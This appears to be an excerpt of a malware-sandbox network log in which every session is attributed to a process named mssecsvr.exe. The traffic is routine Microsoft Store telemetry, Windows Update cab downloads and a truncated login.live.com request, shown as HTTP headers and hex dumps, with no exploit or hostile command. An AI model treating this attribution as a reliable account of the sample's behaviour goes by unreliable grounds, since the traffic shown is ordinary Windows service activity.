2022-07-20 07:10:07 UTC	8675	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160911Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:07 UTC	8676	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6c0d80c6-57e2-44cb-a7b6-59760d9bce7b Date: Wed, 20 Jul 2022 07:10:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	55521	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:07 UTC	8676	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160912Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:07 UTC	8677	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 926e4824-30e7-44b5-a040-89acc6584cfc Date: Wed, 20 Jul 2022 07:10:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	55519	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:07 UTC	8677	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:07 UTC	8678	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: 7d1d998d-6760-4882-8e3a-2918cab27a5b MS-RequestId: 104832cd-8489-40f4-a6f0-fb2940dfcdd6 MS-CV: +DbnArvFMEuO9H7J.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:06 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:07 UTC	8678	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:07 UTC	8694	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-20 07:10:07 UTC	8710	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	55572	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:07 UTC	8677	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160913Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:07 UTC	8678	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: edc1bd09-0988-41ff-9f13-21692acce341 Date: Wed, 20 Jul 2022 07:10:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	55599	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:08 UTC	8713	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160915Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:08 UTC	8714	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 17cf03f8-6e2b-41d1-a76e-a850e1911545 Date: Wed, 20 Jul 2022 07:10:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	55602	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:08 UTC	8714	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160915Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:08 UTC	8715	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e0deb8fe-95d7-46e3-be12-bc5dd4a89f35 Date: Wed, 20 Jul 2022 07:10:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	55601	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:08 UTC	8715	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:08 UTC	8716	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ffccbe7f-0a2f-47e4-896e-45bed279dc4d MS-RequestId: af4bb328-4902-41f6-a1b4-6170b8fc0772 MS-CV: 2chSX+Xo8UO6GleW.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:08 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:08 UTC	8716	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 07:10:08 UTC	8732	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 07:10:08 UTC	8748	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	55617	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:08 UTC	8715	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=5a8d34be4c6943daa42f8519abff19bf&time=20220720T160917Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:08 UTC	8716	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b4b575f5-187a-4b33-bcd9-465c28d76ad7 Date: Wed, 20 Jul 2022 07:10:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	55680	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:09 UTC	8751	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=3f992dc29be942b4a6504d0413553c22&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T160921Z&asid=5a8d34be4c6943daa42f8519abff19bf&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:09 UTC	8752	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 53eadf8b-7696-4bd1-8fa3-b0307d59cb52 Date: Wed, 20 Jul 2022 07:10:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	50150	40.126.31.67	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:48 UTC	161	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-20 07:07:48 UTC	162	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:48 UTC	178	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: f6282fe5-58cc-4707-b2d4-8e4b82adabd0 PPServer: PPV: 30 H: BL6PPFEA1074CC3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:48 GMT Connection: close Content-Length: 10793
2022-07-20 07:07:48 UTC	178	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	55684	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:09 UTC	8752	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160929Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:09 UTC	8753	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5e938173-2b3a-4572-a887-86a26ffa2394 Date: Wed, 20 Jul 2022 07:10:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	55686	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:09 UTC	8753	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160931Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:09 UTC	8753	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c9fdda5e-d08b-4c16-87a4-75f19304c11f Date: Wed, 20 Jul 2022 07:10:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	55724	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:09 UTC	8754	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=a1e0598815e74764b880c8ce69762907&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ef50effad3b8427db7cce16e9ea9c3a8&time=20220720T160932Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 07:10:10 UTC	8754	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9c97559e-932b-4eff-9d25-c1cfd389cb3b Date: Wed, 20 Jul 2022 07:10:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	55701	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:10:10 UTC	8754	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=vtrywLfNBWfaox+&MD=uALVfvDu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 07:10:10 UTC	8755	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: c651ad95-cce6-4635-b2ed-1bd78d843587 MS-RequestId: 0fa16cfa-dffa-4dae-acd6-9b9f41c263c9 MS-CV: e/A++uqUK0e8070F.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 07:10:10 GMT Connection: close Content-Length: 35877
2022-07-20 07:10:10 UTC	8756	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
